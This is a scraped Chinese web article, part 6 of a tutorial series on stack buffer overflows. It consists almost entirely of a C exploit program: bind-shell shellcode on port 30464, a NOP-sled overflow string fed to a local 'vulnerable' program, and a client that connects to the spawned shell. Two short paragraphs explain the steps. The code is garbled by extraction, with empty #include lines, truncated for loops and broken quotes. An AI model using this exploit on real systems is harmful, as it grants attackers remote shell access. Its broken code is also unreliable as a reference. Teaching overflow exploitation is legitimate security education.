科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道系统安全---堆栈溢出技术从入门到高深(6)

系统安全---堆栈溢出技术从入门到高深(6)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell……

作者:论坛整理 来源:zdnet网络安全 2007年12月21日

关键字: 安全技术 堆栈溢出 系统安全

  • 评论
  • 分享微博
  • 分享邮件
shell终于写完了,下面就是攻击程序了。

      #include
  #include
  #include
  #include
  #include
  #define ALIGN 0
  #define OFFSET 0
  #define RET_POSITION 1024
  #define RANGE 200
  #define NOP 0x90
  char shellcode[]=
  "\x31\xc0" /* xorl %eax,%eax */
  "\xb0\x02" /* movb $0x2,%al */
  "\xcd\x80" /* int $0x80 */
  "\x85\xc0" /* testl %eax,%eax */
  "\x75\x43" /* jne 0x43 */
  "\xeb\x43" /* jmp 0x43 */
  "\x5e" /* popl %esi */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xf1" /* movl %esi,%ecx */
  "\xb0\x02" /* movb $0x2,%al */
  "\x89\x06" /* movl %eax,(%esi) */
  "\xb0\x01" /* movb $0x1,%al */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  "\xb0\x06" /* movb $0x6,%al */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x01" /* movb $0x1,%bl */
  "\xcd\x80" /* int $0x80 */
  "\x89\x06" /* movl %eax,(%esi) */
  "\xb0\x02" /* movb $0x2,%al */
  "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
  "\xb0\x77" /* movb $0x77,%al */
  "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
  "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x89\x46\x10" /* movl %eax,0x10(%esi) */
  "\xb0\x10" /* movb $0x10,%al */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x02" /* movb $0x2,%bl */
  "\xcd\x80" /* int $0x80 */
  "\xeb\x04" /* jmp 0x4 */
  "\xeb\x55" /* jmp 0x55 */
  "\xeb\x5b" /* jmp 0x5b */
  "\xb0\x01" /* movb $0x1,%al */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x04" /* movb $0x4,%bl */
  "\xcd\x80" /* int $0x80 */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x05" /* movb $0x5,%bl */
  "\xcd\x80" /* int $0x80 */
  "\x88\xc3" /* movb %al,%bl */
  "\xb0\x3f" /* movb $0x3f,%al */
  "\x31\xc9" /* xorl %ecx,%ecx */
  "\xcd\x80" /* int $0x80 */
  "\xb0\x3f" /* movb $0x3f,%al */
  "\xb1\x01" /* movb $0x1,%cl */
  "\xcd\x80" /* int $0x80 */
  "\xb0\x3f" /* movb $0x3f,%al */
  "\xb1\x02" /* movb $0x2,%cl */
  "\xcd\x80" /* int $0x80 */
  "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
  "\x89\x06" /* movl %eax,(%esi) */
  "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %al,0x7(%esi) */
  "\x89\x76\x08" /* movl %esi,0x8(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xc0" /* xorl %eax,%eax */
  "\xb0\x01" /* movb $0x1,%al */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\xcd\x80" /* int $0x80 */
  "\xe8\x5b\xff\xff\xff" /* call -0xa5 */
  unsigned long get_sp(void)
  {
  __asm__("movl %esp,%eax");
  }
  long getip(char *name)
  {
  struct hostent *hp;
  long ip;
  if((ip=inet_addr(name))==-1)
  {
  if((hp=gethostbyname(name))==NULL)
  {
  fprintf(stderr,"Can"t resolve host.\n");
  exit(0);
  }
  memcpy(&ip,(hp->h_addr),4);
  }
  return ip;
  }
  int exec_sh(int sockfd)
  {
  char snd[4096],rcv[4096];
  fd_set rset;
  while(1)
  {
  FD_ZERO(&rset);
  FD_SET(fileno(stdin),&rset);
  FD_SET(sockfd,&rset);
  select(255,&rset,NULL,NULL,NULL);
  if(FD_ISSET(fileno(stdin),&rset))
  {
  memset(snd,0,sizeof(snd));
  fgets(snd,sizeof(snd),stdin);
  write(sockfd,snd,strlen(snd));
  }
  if(FD_ISSET(sockfd,&rset))
  {
  memset(rcv,0,sizeof(rcv));
  if(read(sockfd,rcv,sizeof(rcv))<=0)
  exit(0);
  fputs(rcv,stdout);
  }
  }
  }
  int connect_sh(long ip)
  {
  int sockfd,i;
  struct sockaddr_in sin;
  printf("Connect to the shell\n");
  fflush(stdout);
  memset(&sin,0,sizeof(sin));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(30464);
  sin.sin_addr.s_addr=ip;
  if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
  printf("Can"t create socket\n");
  exit(0);
  }
  if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
  {
  printf("Can"t connect to the shell\n");
  exit(0);
  }
  return sockfd;
  }
  void main(int argc,char **argv)
  {
  char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  long addr;
  unsigned long sp;
  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  int i;
  int sockfd;
  if(argc>1)
  offset=atoi(argv[1]);
  sp=get_sp();
  addr=sp-offset;
  for(i=0;i 
  {
  buff[i+ALIGN]=(addr&0x000000ff);
  buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  }
  for(i=0;i 
  buff[i]=NOP;
  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  for(i=0;i 
  *(ptr++)=shellcode[i];
  buff[bsize-1]="\0"
  printf("Jump to 0x%08x\n",addr);
  if(fork()==0)
  {
  execl("./vulnerable","vulnerable",buff,0);
  exit(0);
  }
  sleep(5);
  sockfd=connect_sh(getip("127.0.0.1"));
  exec_sh(sockfd);
  }

    算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标程序,来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的shellcode被执行,那么在30464端口就会有server在listen了。

  父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket读取收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章